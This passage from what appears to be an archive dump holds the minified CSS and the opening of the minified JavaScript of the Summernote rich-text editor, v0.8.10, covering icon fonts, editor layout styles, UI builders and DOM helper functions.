efore,.note-icon-square:before,.note-icon-strikethrough:before,.note-icon-subscript:before,.note-icon-summernote:before,.note-icon-superscript:before,.note-icon-table:before,.note-icon-text-height:before,.note-icon-trash:before,.note-icon-underline:before,.note-icon-undo:before,.note-icon-unorderedlist:before,.note-icon-video:before{display:inline-block;font-family:"summernote";font-style:normal;font-weight:normal;text-decoration:inherit}.note-icon-align-center:before{content:"\f101"}.note-icon-align-indent:before{content:"\f102"}.note-icon-align-justify:before{content:"\f103"}.note-icon-align-left:before{content:"\f104"}.note-icon-align-outdent:before{content:"\f105"}.note-icon-align-right:before{content:"\f106"}.note-icon-align:before{content:"\f107"}.note-icon-arrow-circle-down:before{content:"\f108"}.note-icon-arrow-circle-left:before{content:"\f109"}.note-icon-arrow-circle-right:before{content:"\f10a"}.note-icon-arrow-circle-up:before{content:"\f10b"}.note-icon-arrows-alt:before{content:"\f10c"}.note-icon-arrows-h:before{content:"\f10d"}.note-icon-arrows-v:before{content:"\f10e"}.note-icon-bold:before{content:"\f10f"}.note-icon-caret:before{content:"\f110"}.note-icon-chain-broken:before{content:"\f111"}.note-icon-circle:before{content:"\f112"}.note-icon-close:before{content:"\f113"}.note-icon-code:before{content:"\f114"}.note-icon-col-after:before{content:"\f115"}.note-icon-col-before:before{content:"\f116"}.note-icon-col-remove:before{content:"\f117"}.note-icon-eraser:before{content:"\f118"}.note-icon-font:before{content:"\f119"}.note-icon-frame:before{content:"\f11a"}.note-icon-italic:before{content:"\f11b"}.note-icon-link:before{content:"\f11c"}.note-icon-magic:before{content:"\f11d"}.note-icon-menu-check:before{content:"\f11e"}.note-icon-minus:before{content:"\f11f"}.note-icon-orderedlist:before{content:"\f120"}.note-icon-pencil:before{content:"\f121"}.note-icon-picture:before{content:"\f122"}.note-icon-question:before{content:"\f123"}.note-icon-redo:before{content:"\f124"}.note-icon-row-above:before{content:"\f125"}.note-icon-row-below:before{content:"\f126"}.note-icon-row-remove:before{content:"\f127"}.note-icon-special-character:before{content:"\f128"}.note-icon-square:before{content:"\f129"}.note-icon-strikethrough:before{content:"\f12a"}.note-icon-subscript:before{content:"\f12b"}.note-icon-summernote:before{content:"\f12c"}.note-icon-superscript:before{content:"\f12d"}.note-icon-table:before{content:"\f12e"}.note-icon-text-height:before{content:"\f12f"}.note-icon-trash:before{content:"\f130"}.note-icon-underline:before{content:"\f131"}.note-icon-undo:before{content:"\f132"}.note-icon-unorderedlist:before{content:"\f133"}.note-icon-video:before{content:"\f134"}.note-editor{position:relative}.note-editor .note-dropzone{position:absolute;z-index:100;display:none;color:#87cefa;background-color:#fff;opacity:.95}.note-editor .note-dropzone .note-dropzone-message{display:table-cell;font-size:28px;font-weight:700;text-align:center;vertical-align:middle}.note-editor .note-dropzone.hover{color:#098ddf}.note-editor.dragover .note-dropzone{display:table}.note-editor .note-editing-area{position:relative}.note-editor .note-editing-area .note-editable{outline:0}.note-editor .note-editing-area .note-editable sup{vertical-align:super}.note-editor .note-editing-area .note-editable sub{vertical-align:sub}.note-editor .note-editing-area img.note-float-left{margin-right:10px}.note-editor .note-editing-area img.note-float-right{margin-left:10px}.note-editor.note-frame{border:1px solid #a9a9a9}.note-editor.note-frame.codeview .note-editing-area .note-editable{display:none}.note-editor.note-frame.codeview .note-editing-area .note-codable{display:block}.note-editor.note-frame .note-editing-area{overflow:hidden}.note-editor.note-frame .note-editing-area .note-editable{padding:10px;overflow:auto;color:#000;word-wrap:break-word;background-color:#fff}.note-editor.note-frame .note-editing-area .note-editable[contenteditable="false"]{background-color:#e5e5e5}.note-editor.note-frame .note-editing-area .note-codable{display:none;width:100%;padding:10px;margin-bottom:0;font-family:Menlo,Monaco,monospace,sans-serif;font-size:14px;color:#ccc;background-color:#222;border:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;box-shadow:none;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;resize:none}.note-editor.note-frame.fullscreen{position:fixed;top:0;left:0;z-index:1050;width:100%!important}.note-editor.note-frame.fullscreen .note-editable{background-color:#fff}.note-editor.note-frame.fullscreen .note-resizebar{display:none}.note-editor.note-frame .note-status-output{display:block;width:100%;height:20px;margin-bottom:0;font-size:14px;line-height:1.42857143;color:#000;border:0;border-top:1px solid #e2e2e2}.note-editor.note-frame .note-status-output:empty{height:0;border-top:0 solid transparent}.note-editor.note-frame .note-status-output .pull-right{float:right!important}.note-editor.note-frame .note-status-output .text-muted{color:#777}.note-editor.note-frame .note-status-output .text-primary{color:#286090}.note-editor.note-frame .note-status-output .text-success{color:#3c763d}.note-editor.note-frame .note-status-output .text-info{color:#31708f}.note-editor.note-frame .note-status-output .text-warning{color:#8a6d3b}.note-editor.note-frame .note-status-output .text-danger{color:#a94442}.note-editor.note-frame .note-status-output .alert{padding:7px 10px 2px 10px;margin:-7px 0 0 0;color:#000;background-color:#f5f5f5;border-radius:0}.note-editor.note-frame .note-status-output .alert .note-icon{margin-right:5px}.note-editor.note-frame .note-status-output .alert-success{color:#3c763d!important;background-color:#dff0d8!important}.note-editor.note-frame .note-status-output .alert-info{color:#31708f!important;background-color:#d9edf7!important}.note-editor.note-frame .note-status-output .alert-warning{color:#8a6d3b!important;background-color:#fcf8e3!important}.note-editor.note-frame .note-status-output .alert-danger{color:#a94442!important;background-color:#f2dede!important}.note-editor.note-frame .note-statusbar{background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.note-editor.note-frame .note-statusbar .note-resizebar{width:100%;height:9px;padding-top:1px;cursor:ns-resize}.note-editor.note-frame .note-statusbar .note-resizebar .note-icon-bar{width:20px;margin:1px auto;border-top:1px solid #a9a9a9}.note-editor.note-frame .note-statusbar.locked .note-resizebar{cursor:default}.note-editor.note-frame .note-statusbar.locked .note-resizebar .note-icon-bar{display:none}.note-editor.note-frame .note-placeholder{padding:10px}.note-popover.popover{display:none;max-width:none}.note-popover.popover .popover-content a{display:inline-block;max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;vertical-align:middle}.note-popover.popover .arrow{left:20px!important}.note-toolbar{position:relative;z-index:500}.note-popover .popover-content,.card-header.note-toolbar{padding:0 0 5px 5px;margin:0}.note-popover .popover-content>.btn-group,.card-header.note-toolbar>.btn-group{margin-top:5px;margin-right:5px;margin-left:0}.note-popover .popover-content .btn-group .note-table,.card-header.note-toolbar .btn-group .note-table{min-width:0;padding:5px}.note-popover .popover-content .btn-group .note-table .note-dimension-picker,.card-header.note-toolbar .btn-group .note-table .note-dimension-picker{font-size:18px}.note-popover .popover-content .btn-group .note-table .note-dimension-picker .note-dimension-picker-mousecatcher,.card-header.note-toolbar .btn-group .note-table .note-dimension-picker .note-dimension-picker-mousecatcher{position:absolute!important;z-index:3;width:10em;height:10em;cursor:pointer}.note-popover .popover-content .btn-group .note-table .note-dimension-picker .note-dimension-picker-unhighlighted,.card-header.note-toolbar .btn-group .note-table .note-dimension-picker .note-dimension-picker-unhighlighted{position:relative!important;z-index:1;width:5em;height:5em;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat}.note-popover .popover-content .btn-group .note-table .note-dimension-picker .note-dimension-picker-highlighted,.card-header.note-toolbar .btn-group .note-table .note-dimension-picker .note-dimension-picker-highlighted{position:absolute!important;z-index:2;width:1em;height:1em;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat}.note-popover .popover-content .note-style .dropdown-style blockquote,.card-header.note-toolbar .note-style .dropdown-style blockquote,.note-popover .popover-content .note-style .dropdown-style pre,.card-header.note-toolbar .note-style .dropdown-style pre{padding:5px 10px;margin:0}.note-popover .popover-content .note-style .dropdown-style h1,.card-header.note-toolbar .note-style .dropdown-style h1,.note-popover .popover-content .note-style .dropdown-style h2,.card-header.note-toolbar .note-style .dropdown-style h2,.note-popover .popover-content .note-style .dropdown-style h3,.card-header.note-toolbar .note-style .dropdown-style h3,.note-popover .popover-content .note-style .dropdown-style h4,.card-header.note-toolbar .note-style .dropdown-style h4,.note-popover .popover-content .note-style .dropdown-style h5,.card-header.note-toolbar .note-style .dropdown-style h5,.note-popover .popover-content .note-style .dropdown-style h6,.card-header.note-toolbar .note-style .dropdown-style h6,.note-popover .popover-content .note-style .dropdown-style p,.card-header.note-toolbar .note-style .dropdown-style p{padding:0;margin:0}.note-popover .popover-content .note-color .dropdown-toggle,.card-header.note-toolbar .note-color .dropdown-toggle{width:20px;padding-left:5px}.note-popover .popover-content .note-color .dropdown-menu,.card-header.note-toolbar .note-color .dropdown-menu{min-width:337px}.note-popover .popover-content .note-color .dropdown-menu .note-palette,.card-header.note-toolbar .note-color .dropdown-menu .note-palette{display:inline-block;width:160px;margin:0}.note-popover .popover-content .note-color .dropdown-menu .note-palette:first-child,.card-header.note-toolbar .note-color .dropdown-menu .note-palette:first-child{margin:0 5px}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-palette-title,.card-header.note-toolbar .note-color .dropdown-menu .note-palette .note-palette-title{margin:2px 7px;font-size:12px;text-align:center;border-bottom:1px solid #eee}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-color-reset,.card-header.note-toolbar .note-color .dropdown-menu .note-palette .note-color-reset{width:100%;padding:0 3px;margin:3px;font-size:11px;cursor:pointer;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-color-row,.card-header.note-toolbar .note-color .dropdown-menu .note-palette .note-color-row{height:20px}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-color-reset:hover,.card-header.note-toolbar .note-color .dropdown-menu .note-palette .note-color-reset:hover{background:#eee}.note-popover .popover-content .note-para .dropdown-menu,.card-header.note-toolbar .note-para .dropdown-menu{min-width:216px;padding:5px}.note-popover .popover-content .note-para .dropdown-menu>div:first-child,.card-header.note-toolbar .note-para .dropdown-menu>div:first-child{margin-right:5px}.note-popover .popover-content .dropdown-menu,.card-header.note-toolbar .dropdown-menu{min-width:90px}.note-popover .popover-content .dropdown-menu.right,.card-header.note-toolbar .dropdown-menu.right{right:0;left:auto}.note-popover .popover-content .dropdown-menu.right::before,.card-header.note-toolbar .dropdown-menu.right::before{right:9px;left:auto!important}.note-popover .popover-content .dropdown-menu.right::after,.card-header.note-toolbar .dropdown-menu.right::after{right:10px;left:auto!important}.note-popover .popover-content .dropdown-menu.note-check a i,.card-header.note-toolbar .dropdown-menu.note-check a i{color:deepskyblue;visibility:hidden}.note-popover .popover-content .dropdown-menu.note-check a.checked i,.card-header.note-toolbar .dropdown-menu.note-check a.checked i{visibility:visible}.note-popover .popover-content .note-fontsize-10,.card-header.note-toolbar .note-fontsize-10{font-size:10px}.note-popover .popover-content .note-color-palette,.card-header.note-toolbar .note-color-palette{line-height:1}.note-popover .popover-content .note-color-palette div .note-color-btn,.card-header.note-toolbar .note-color-palette div .note-color-btn{width:20px;height:20px;padding:0;margin:0;border:1px solid #fff}.note-popover .popover-content .note-color-palette div .note-color-btn:hover,.card-header.note-toolbar .note-color-palette div .note-color-btn:hover{border:1px solid #000}.note-dialog>div{display:none}.note-dialog .form-group{margin-right:0;margin-left:0}.note-dialog .note-modal-form{margin:0}.note-dialog .note-image-dialog .note-dropzone{min-height:100px;margin-bottom:10px;font-size:30px;line-height:4;color:lightgray;text-align:center;border:4px dashed lightgray}@-moz-document url-prefix(){.note-image-input{height:auto}}.note-placeholder{position:absolute;display:none;color:gray}.note-handle .note-control-selection{position:absolute;display:none;border:1px solid black}.note-handle .note-control-selection>div{position:absolute}.note-handle .note-control-selection .note-control-selection-bg{width:100%;height:100%;background-color:black;-webkit-opacity:.3;-khtml-opacity:.3;-moz-opacity:.3;opacity:.3;-ms-filter:alpha(opacity=30);filter:alpha(opacity=30)}.note-handle .note-control-selection .note-control-handle{width:7px;height:7px;border:1px solid black}.note-handle .note-control-selection .note-control-holder{width:7px;height:7px;border:1px solid black}.note-handle .note-control-selection .note-control-sizing{width:7px;height:7px;background-color:white;border:1px solid black}.note-handle .note-control-selection .note-control-nw{top:-5px;left:-5px;border-right:0;border-bottom:0}.note-handle .note-control-selection .note-control-ne{top:-5px;right:-5px;border-bottom:0;border-left:none}.note-handle .note-control-selection .note-control-sw{bottom:-5px;left:-5px;border-top:0;border-right:0}.note-handle .note-control-selection .note-control-se{right:-5px;bottom:-5px;cursor:se-resize}.note-handle .note-control-selection .note-control-se.note-control-holder{cursor:default;border-top:0;border-left:none}.note-handle .note-control-selection .note-control-selection-info{right:0;bottom:0;padding:5px;margin:5px;font-size:12px;color:#fff;background-color:#000;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;-webkit-opacity:.7;-khtml-opacity:.7;-moz-opacity:.7;opacity:.7;-ms-filter:alpha(opacity=70);filter:alpha(opacity=70)}.note-hint-popover{min-width:100px;padding:2px}.note-hint-popover .popover-content{max-height:150px;padding:3px;overflow:auto}.note-hint-popover .popover-content .note-hint-group .note-hint-item{display:block!important;padding:3px}.note-hint-popover .popover-content .note-hint-group .note-hint-item.active,.note-hint-popover .popover-content .note-hint-group .note-hint-item:hover{display:block;clear:both;font-weight:400;line-height:1.4;color:#fff;text-decoration:none;white-space:nowrap;cursor:pointer;background-color:#428bca;outline:0}summernote.min.js000064400000347127151677331550010115 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(require("jquery")):"function"==typeof define&&define.amd?define(["jquery"],e):e(t.jQuery)}(this,function(t){"use strict";t=t&&t.hasOwnProperty("default")?t.default:t;var e=function(){function e(t,e,o,n){this.markup=t,this.children=e,this.options=o,this.callback=n}return e.prototype.render=function(e){var o=t(this.markup);if(this.options&&this.options.contents&&o.html(this.options.contents),this.options&&this.options.className&&o.addClass(this.options.className),this.options&&this.options.data&&t.each(this.options.data,function(t,e){o.attr("data-"+t,e)}),this.options&&this.options.click&&o.on("click",this.options.click),this.children){var n=o.find(".note-children-container");this.children.forEach(function(t){t.render(n.length?n:o)})}return this.callback&&this.callback(o,this.options),this.options&&this.options.callback&&this.options.callback(o),e&&e.append(o),o},e}(),o=function(o,n){return function(){var i="object"==typeof arguments[1]?arguments[1]:arguments[0],r=t.isArray(arguments[0])?arguments[0]:[];return i&&i.children&&(r=i.children),new e(o,r,i,n)}},n=o('<div class="note-editor note-frame panel"/>'),i=o('<div class="note-toolbar-wrapper panel-default"><div class="note-toolbar panel-heading" role="toolbar"></div></div>'),r=o('<div class="note-editing-area"/>'),s=o('<textarea class="note-codable" role="textbox" aria-multiline="true"/>'),a=o('<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'),l=o(['<output class="note-status-output" aria-live="polite"/>','<div class="note-statusbar" role="status">','  <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="Resize">','    <div class="note-icon-bar"/>','    <div class="note-icon-bar"/>','    <div class="note-icon-bar"/>',"  </div>","</div>"].join("")),c=o('<div class="note-editor"/>'),d=o(['  <output class="note-status-output" aria-live="polite"/>','<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'].join("")),u=o('<div class="note-btn-group btn-group">'),h=o('<ul class="dropdown-menu" role="list">',function(e,o){var n=t.isArray(o.items)?o.items.map(function(t){var e="string"==typeof t?t:t.value||"",n=o.template?o.template(t):t,i="object"==typeof t?t.option:void 0;return'<li role="listitem" aria-label="'+t+'"><a href="#" '+('data-value="'+e+'"'+(void 0!==i?' data-option="'+i+'"':""))+">"+n+"</a></li>"}).join(""):o.items;e.html(n).attr({"aria-label":o.title})}),p=o('<ul class="dropdown-menu note-check" role="list">',function(e,o){var n=t.isArray(o.items)?o.items.map(function(t){var e="string"==typeof t?t:t.value||"",n=o.template?o.template(t):t;return'<li role="listitem" aria-label="'+t+'"><a href="#" data-value="'+e+'">'+b(o.checkClassName)+" "+n+"</a></li>"}).join(""):o.items;e.html(n).attr({"aria-label":o.title})}),f=o('<div class="note-color-palette"/>',function(t,e){for(var o=[],n=0,i=e.colors.length;n<i;n++){for(var r=e.eventName,s=e.colors[n],a=e.colorsName[n],l=[],c=0,d=s.length;c<d;c++){var u=s[c],h=a[c];l.push(['<button type="button" class="note-color-btn"','style="background-color:',u,'" ','data-event="',r,'" ','data-value="',u,'" ','title="',h,'" ','aria-label="',h,'" ','data-toggle="button" tabindex="-1"></button>'].join(""))}o.push('<div class="note-color-row">'+l.join("")+"</div>")}t.html(o.join("")),e.tooltip&&t.find(".note-color-btn").tooltip({container:e.container,trigger:"hover",placement:"bottom"})}),m=o('<div class="modal" aria-hidden="false" tabindex="-1" role="dialog"/>',function(t,e){e.fade&&t.addClass("fade"),t.attr({"aria-label":e.title}),t.html(['<div class="modal-dialog">','  <div class="modal-content">',e.title?'    <div class="modal-header">      <button type="button" class="close" data-dismiss="modal" aria-label="Close" aria-hidden="true">&times;</button>      <h4 class="modal-title">'+e.title+"</h4>    </div>":"",'    <div class="modal-body">'+e.body+"</div>",e.footer?'    <div class="modal-footer">'+e.footer+"</div>":"","  </div>","</div>"].join(""))}),g=o(['<div class="note-popover popover in">','  <div class="arrow"/>','  <div class="popover-content note-children-container"/>',"</div>"].join(""),function(t,e){var o=void 0!==e.direction?e.direction:"bottom";t.addClass(o),e.hideArrow&&t.find(".arrow").hide()}),v=o('<div class="checkbox"></div>',function(t,e){t.html([" <label"+(e.id?' for="'+e.id+'"':"")+">",' <input role="checkbox" type="checkbox"'+(e.id?' id="'+e.id+'"':""),e.checked?" checked":"",' aria-checked="'+(e.checked?"true":"false")+'"/>',e.text?e.text:"","</label>"].join(""))}),b=function(t,e){return"<"+(e=e||"i")+' class="'+t+'"/>'},y={editor:n,toolbar:i,editingArea:r,codable:s,editable:a,statusbar:l,airEditor:c,airEditable:d,buttonGroup:u,dropdown:h,dropdownButtonContents:function(t,e){return t+" "+b(e.icons.caret,"span")},dropdownCheck:p,palette:f,dialog:m,popover:g,checkbox:v,icon:b,options:{},button:function(t,e){return o('<button type="button" class="note-btn btn btn-default btn-sm" role="button" tabindex="-1">',function(t,e){e&&e.tooltip&&t.attr({title:e.tooltip,"aria-label":e.tooltip}).tooltip({container:e.container,trigger:"hover",placement:"bottom"})})(t,e)},toggleBtn:function(t,e){t.toggleClass("disabled",!e),t.attr("disabled",!e)},toggleBtnActive:function(t,e){t.toggleClass("active",e)},onDialogShown:function(t,e){t.one("shown.bs.modal",e)},onDialogHidden:function(t,e){t.one("hidden.bs.modal",e)},showDialog:function(t){t.modal("show")},hideDialog:function(t){t.modal("hide")},createLayout:function(t,e){var o=(e.airMode?y.airEditor([y.editingArea([y.airEditable()])]):y.editor([y.toolbar(),y.editingArea([y.codable(),y.editable()]),y.statusbar()])).render();return o.insertAfter(t),{note:t,editor:o,toolbar:o.find(".note-toolbar"),editingArea:o.find(".note-editing-area"),editable:o.find(".note-editable"),codable:o.find(".note-codable"),statusbar:o.find(".note-statusbar")}},removeLayout:function(t,e){t.html(e.editable.html()),e.editor.remove(),t.show()}};var k=0;var C={eq:function(t){return function(e){return t===e}},eq2:function(t,e){return t===e},peq2:function(t){return function(e,o){return e[t]===o[t]}},ok:function(){return!0},fail:function(){return!1},self:function(t){return t},not:function(t){return function(){return!t.apply(t,arguments)}},and:function(t,e){return function(o){return t(o)&&e(o)}},invoke:function(t,e){return function(){return t[e].apply(t,arguments)}},uniqueId:function(t){var e=++k+"";return t?t+e:e},rect2bnd:function(t){var e=$(document);return{top:t.top+e.scrollTop(),left:t.left+e.scrollLeft(),width:t.right-t.left,height:t.bottom-t.top}},invertObject:function(t){var e={};for(var o in t)t.hasOwnProperty(o)&&(e[t[o]]=o);return e},namespaceToCamel:function(t,e){return(e=e||"")+t.split(".").map(function(t){return t.substring(0,1).toUpperCase()+t.substring(1)}).join("")},debounce:function(t,e,o){var n,i=this;return function(){var r=i,s=arguments,a=o&&!n;clearTimeout(n),n=setTimeout(function(){n=null,o||t.apply(r,s)},e),a&&t.apply(r,s)}}};function w(t){return t[0]}function x(t){return t[t.length-1]}function S(t){return t.slice(1)}function T(e,o){return t.inArray(o,e)}function I(t,e){return-1!==T(t,e)}var N={head:w,last:x,initial:function(t){return t.slice(0,t.length-1)},tail:S,prev:function(t,e){var o=T(t,e);return-1===o?null:t[o-1]},next:function(t,e){var o=T(t,e);return-1===o?null:t[o+1]},find:function(t,e){for(var o=0,n=t.length;o<n;o++){var i=t[o];if(e(i))return i}},contains:I,all:function(t,e){for(var o=0,n=t.length;o<n;o++)if(!e(t[o]))return!1;return!0},sum:function(t,e){return e=e||C.self,t.reduce(function(t,o){return t+e(o)},0)},from:function(t){for(var e=[],o=t.length,n=-1;++n<o;)e[n]=t[n];return e},isEmpty:function(t){return!t||!t.length},clusterBy:function(t,e){return t.length?S(t).reduce(function(t,o){var n=x(t);return e(x(n),o)?n[n.length]=o:t[t.length]=[o],t},[[w(t)]]):[]},compact:function(t){for(var e=[],o=0,n=t.length;o<n;o++)t[o]&&e.push(t[o]);return e},unique:function(t){for(var e=[],o=0,n=t.length;o<n;o++)I(e,t[o])||e.push(t[o]);return e}},E="function"==typeof define&&define.amd;var A,R=navigator.userAgent,P=/MSIE|Trident/i.test(R);if(P){var L=/MSIE (\d+[.]\d+)/.exec(R);L&&(A=parseFloat(L[1])),(L=/Trident\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(R))&&(A=parseFloat(L[1]))}var H=/Edge\/\d+/.test(R),D=!!window.CodeMirror;if(!D&&E)if("function"==typeof __webpack_require__)try{require.resolve("codemirror"),D=!0}catch(t){}else if("undefined"!=typeof require)if(void 0!==require.resolve)try{require.resolve("codemirror"),D=!0}catch(t){}else void 0!==require.specified&&(D=require.specified("codemirror"));var F="ontouchstart"in window||navigator.MaxTouchPoints>0||navigator.msMaxTouchPoints>0,B=P||H?"DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted":"input",z={isMac:navigator.appVersion.indexOf("Mac")>-1,isMSIE:P,isEdge:H,isFF:!H&&/firefox/i.test(R),isPhantom:/PhantomJS/i.test(R),isWebkit:!H&&/webkit/i.test(R),isChrome:!H&&/chrome/i.test(R),isSafari:!H&&/safari/i.test(R),browserVersion:A,jqueryVersion:parseFloat(t.fn.jquery),isSupportAmd:E,isSupportTouch:F,hasCodeMirror:D,isFontInstalled:function(e){var o="Comic Sans MS"===e?"Courier New":"Comic Sans MS",n=t("<div>").css({position:"absolute",left:"-9999px",top:"-9999px",fontSize:"200px"}).text("mmmmmmmmmwwwwwww").appendTo(document.body),i=n.css("fontFamily",o).width(),r=n.css("fontFamily",e+","+o).width();return n.remove(),i!==r},isW3CRangeSupport:!!document.createRange,inputEventName:B},M=String.fromCharCode(160);function O(e){return e&&t(e).hasClass("note-editable")}function U(t){return t=t.toUpperCase(),function(e){return e&&e.nodeName.toUpperCase()===t}}function j(t){return t&&3===t.nodeType}function q(t){return t&&/^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(t.nodeName.toUpperCase())}function K(t){return!O(t)&&(t&&/^DIV|^P|^LI|^H[1-7]/.test(t.nodeName.toUpperCase()))}var V=U("PRE"),W=U("LI");var G=U("TABLE"),_=U("DATA");function Z(t){return!(tt(t)||Y(t)||Q(t)||K(t)||G(t)||X(t)||_(t))}function Y(t){return t&&/^UL|^OL/.test(t.nodeName.toUpperCase())}var Q=U("HR");function J(t){return t&&/^TD|^TH/.test(t.nodeName.toUpperCase())}var X=U("BLOCKQUOTE");function tt(t){return J(t)||X(t)||O(t)}var et=U("A");var ot=U("BODY");var nt=z.isMSIE&&z.browserVersion<11?"&nbsp;":"<br>";function it(t){return j(t)?t.nodeValue.length:t?t.childNodes.length:0}function rt(t){var e=it(t);return 0===e||(!j(t)&&1===e&&t.innerHTML===nt||!(!N.all(t.childNodes,j)||""!==t.innerHTML))}function st(t){q(t)||it(t)||(t.innerHTML=nt)}function at(t,e){for(;t;){if(e(t))return t;if(O(t))break;t=t.parentNode}return null}function lt(t,e){e=e||C.fail;var o=[];return at(t,function(t){return O(t)||o.push(t),e(t)}),o}function ct(t,e){e=e||C.fail;for(var o=[];t&&!e(t);)o.push(t),t=t.nextSibling;return o}function dt(t,e){var o=e.nextSibling,n=e.parentNode;return o?n.insertBefore(t,o):n.appendChild(t),t}function ut(e,o){return t.each(o,function(t,o){e.appendChild(o)}),e}function ht(t){return 0===t.offset}function pt(t){return t.offset===it(t.node)}function ft(t){return ht(t)||pt(t)}function mt(t,e){for(;t&&t!==e;){if(0!==vt(t))return!1;t=t.parentNode}return!0}function gt(t,e){if(!e)return!1;for(;t&&t!==e;){if(vt(t)!==it(t.parentNode)-1)return!1;t=t.parentNode}return!0}function vt(t){for(var e=0;t=t.previousSibling;)e+=1;return e}function bt(t){return!!(t&&t.childNodes&&t.childNodes.length)}function yt(t,e){var o,n;if(0===t.offset){if(O(t.node))return null;o=t.node.parentNode,n=vt(t.node)}else bt(t.node)?n=it(o=t.node.childNodes[t.offset-1]):(o=t.node,n=e?0:t.offset-1);return{node:o,offset:n}}function kt(t,e){var o,n;if(it(t.node)===t.offset){if(O(t.node))return null;o=t.node.parentNode,n=vt(t.node)+1}else bt(t.node)?(o=t.node.childNodes[t.offset],n=0):(o=t.node,n=e?it(t.node):t.offset+1);return{node:o,offset:n}}function Ct(t,e){return t.node===e.node&&t.offset===e.offset}function wt(t,e){var o=e&&e.isSkipPaddingBlankHTML,n=e&&e.isNotSplitEdgePoint;if(ft(t)&&(j(t.node)||n)){if(ht(t))return t.node;if(pt(t))return t.node.nextSibling}if(j(t.node))return t.node.splitText(t.offset);var i=t.node.childNodes[t.offset],r=dt(t.node.cloneNode(!1),t.node);return ut(r,ct(i)),o||(st(t.node),st(r)),r}function xt(t,e,o){var n=lt(e.node,C.eq(t));return n.length?1===n.length?wt(e,o):n.reduce(function(t,n){return t===e.node&&(t=wt(e,o)),wt({node:n,offset:t?vt(t):it(n)},o)}):null}function St(t){return document.createElement(t)}function Tt(t,e){if(t&&t.parentNode){if(t.removeNode)return t.removeNode(e);var o=t.parentNode;if(!e){for(var n=[],i=0,r=t.childNodes.length;i<r;i++)n.push(t.childNodes[i]);for(i=0,r=n.length;i<r;i++)o.insertBefore(n[i],t)}o.removeChild(t)}}var It=U("TEXTAREA");function $t(t,e){var o=It(t[0])?t.val():t.html();return e?o.replace(/[\n\r]/g,""):o}var Nt={NBSP_CHAR:M,ZERO_WIDTH_NBSP_CHAR:"\ufeff",blank:nt,emptyPara:"<p>"+nt+"</p>",makePredByNodeName:U,isEditable:O,isControlSizing:function(e){return e&&t(e).hasClass("note-control-sizing")},isText:j,isElement:function(t){return t&&1===t.nodeType},isVoid:q,isPara:K,isPurePara:function(t){return K(t)&&!W(t)},isHeading:function(t){return t&&/^H[1-7]/.test(t.nodeName.toUpperCase())},isInline:Z,isBlock:C.not(Z),isBodyInline:function(t){return Z(t)&&!at(t,K)},isBody:ot,isParaInline:function(t){return Z(t)&&!!at(t,K)},isPre:V,isList:Y,isTable:G,isData:_,isCell:J,isBlockquote:X,isBodyContainer:tt,isAnchor:et,isDiv:U("DIV"),isLi:W,isBR:U("BR"),isSpan:U("SPAN"),isB:U("B"),isU:U("U"),isS:U("S"),isI:U("I"),isImg:U("IMG"),isTextarea:It,isEmpty:rt,isEmptyAnchor:C.and(et,rt),isClosestSibling:function(t,e){return t.nextSibling===e||t.previousSibling===e},withClosestSiblings:function(t,e){e=e||C.ok;var o=[];return t.previousSibling&&e(t.previousSibling)&&o.push(t.previousSibling),o.push(t),t.nextSibling&&e(t.nextSibling)&&o.push(t.nextSibling),o},nodeLength:it,isLeftEdgePoint:ht,isRightEdgePoint:pt,isEdgePoint:ft,isLeftEdgeOf:mt,isRightEdgeOf:gt,isLeftEdgePointOf:function(t,e){return ht(t)&&mt(t.node,e)},isRightEdgePointOf:function(t,e){return pt(t)&&gt(t.node,e)},prevPoint:yt,nextPoint:kt,isSamePoint:Ct,isVisiblePoint:function(t){if(j(t.node)||!bt(t.node)||rt(t.node))return!0;var e=t.node.childNodes[t.offset-1],o=t.node.childNodes[t.offset];return!(e&&!q(e)||o&&!q(o))},prevPointUntil:function(t,e){for(;t;){if(e(t))return t;t=yt(t)}return null},nextPointUntil:function(t,e){for(;t;){if(e(t))return t;t=kt(t)}return null},isCharPoint:function(t){if(!j(t.node))return!1;var e=t.node.nodeValue.charAt(t.offset-1);return e&&" "!==e&&e!==M},walkPoint:function(t,e,o,n){for(var i=t;i&&(o(i),!Ct(i,e));)i=kt(i,n&&t.node!==i.node&&e.node!==i.node)},ancestor:at,singleChildAncestor:function(t,e){for(t=t.parentNode;t&&1===it(t);){if(e(t))return t;if(O(t))break;t=t.parentNode}return null},listAncestor:lt,lastAncestor:function(t,e){var o=lt(t);return N.last(o.filter(e))},listNext:ct,listPrev:function(t,e){e=e||C.fail;for(var o=[];t&&!e(t);)o.push(t),t=t.previousSibling;return o},listDescendant:function(t,e){var o=[];return e=e||C.ok,function 